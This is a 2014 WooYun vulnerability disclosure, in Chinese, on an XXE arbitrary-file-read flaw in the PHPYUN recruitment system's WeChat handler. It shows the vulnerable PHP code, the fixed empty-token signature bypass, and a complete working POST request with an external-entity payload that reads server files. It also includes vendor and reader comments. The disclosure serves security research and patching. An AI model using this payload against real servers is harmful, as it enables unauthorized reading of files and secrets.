当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2014-64637

漏洞标题: PHPYUN最新版任意文件读取漏洞

相关厂商: php云人才系统

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-06-12 14:54

公开时间: 2014-09-10 14:56

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 设计缺陷/边界绕过 php源码审核 php源码分析

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-12: 细节已通知厂商并且等待厂商处理中
2014-06-12: 厂商已经确认,细节仅向厂商公开
2014-06-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-06: 细节向核心白帽子及相关领域专家公开
2014-08-16: 细节向普通白帽子公开
2014-08-26: 细节向实习白帽子公开
2014-09-10: 细节向公众公开

简要描述:

PHPYUN最新版任意问价你读取漏洞,第一次遇到这种漏洞哦!!!

详细说明:

刚刚研究了下二哥的XML实体注入:

http://**.**.**.**/bugs/wooyun-2010-058381

感觉好高大上哦,从来没遇到过,这几天看PHPYUN,突然想到了这个问题。

文件weixin/model/index.class.php

code 区域
public function index_action()
{
if($_GET["echostr"])
{
$this->valid();
}else{

if(!$this->checkSignature()){echo "非法来源地址!";exit();};

$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr))
{
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$times = time();
$MsgType = $postObj->MsgType;

$topTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
";

$bottomStr = "<FuncFlag>0</FuncFlag></xml>";

if($MsgType=='event')
{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{
$centerStr = "<Content><![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!\n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位\n绑定您的账户体验更多精彩功能\n感谢您的关注!]]></Content>";
$this->MsgType = 'text';

}elseif ($MsgEvent=='CLICK')
{
$EventKey = $postObj->EventKey;
if($EventKey=='我的帐号'){
$centerStr = $this->bindUser($fromUsername);

}elseif($EventKey=='我的消息')
{
$centerStr = $this->myMsg($fromUsername);
}elseif($EventKey=='面试邀请')
{
$centerStr = $this->Audition($fromUsername);

}elseif($EventKey=='简历查看')
{

$centerStr = $this->lookResume($fromUsername);

}elseif($EventKey=='刷新简历')
{

$centerStr = $this->refResume($fromUsername);

}elseif($EventKey=='推荐职位')
{
$centerStr = $this->recJob();

}elseif($EventKey=='职位搜索'){

$centerStr = "<Content><![CDATA[直接回复城市、职位、公司名称等关键字搜索您需要的职位信息。\n 如:【经理】、【南京 经理】、【南京 xx公司】]]></Content>";
$this->MsgType = 'text';
}
}
}elseif($MsgType=='text'){
if($keyword){

$centerStr = $this->searchJob($keyword);
}
}

$topStr = sprintf($topTpl, $fromUsername, $toUsername, $times, $this->MsgType);
echo $topStr.$centerStr.$bottomStr;
}
}
}



这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];通过simplexml_load_string解析后的内容,直接带入了$topTpl:

code 区域
$topStr = sprintf($topTpl, $fromUsername, $toUsername, $times, $this->MsgType);



然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容,没有经过任何处理,最后将其echo出来了。

真个过程就是传一个XML的内容进去,然后输出一个XML的内容,那么我们结果XML实体注入不就可以读取服务器上的内容,然后再输出出来么?!

实际证明是可行的,见漏洞证明!



当然这里有一个问题就是:

在入口会检测一个字符串:

code 区域
public function index_action()
{
if($_GET["echostr"])
{
$this->valid();
}else{

if(!$this->checkSignature()){echo "非法来源地址!";exit();};
......
private function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];

$token = $this->config['wx_token'];
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );

if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}



如果用户设置了wx_token就没办法了,但是这个wx_token默认是空的。

所以在默认条件下,没有wx_token时,这个$tmpStr == $signature==da39a3ee5e6b4b0d3255bfef95601890afd80709,这是一个固定的值了,我们是完全可以利用上面的漏洞读入任意文件。

漏洞证明:

读取/phpyun/robots.txt内容

发送请求:

code 区域
POST /phpyun/weixin/index.php?m=index&c=index&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 310

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/phpyun/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<CreateTime>1402550611</CreateTime>
<MsgType>123</MsgType>
<FuncFlag>0</FuncFlag>
</xml>



这里要注意:

signature=da39a3ee5e6b4b0d3255bfef95601890afd80709

Content-Type: text/xml

如图:

1.png

修复方案:

默认安装时加上随机wx_token,或者处理输入的内容。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-06-12 15:40

厂商回复:

微信参数不设置确实存在该情况,我们会尽快完善,感谢您的提供,不过360也同步出了该问题,时间还要稍早!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-12 15:04 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    关注大神

  2. 2014-06-12 16:15 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    1

    @php云人才系统 囧。。。 我会告诉你,还有一处么

  3. 2014-06-12 17:19 | php云人才系统(乌云厂商)
    1

    @xfkxfk 还望告知!谢谢!

  4. 2014-06-12 17:40 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    1
  5. 2014-09-11 18:30 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    关注大神

  6. 2014-11-18 15:37 | p0di ( 普通白帽子 | Rank:121 漏洞数:17 | 1+1 = 2 ?)
    1

    @xfkxfk 问下大神测的那个版本?3.1beta有这个吗?

登录后才能发表评论,请先 登录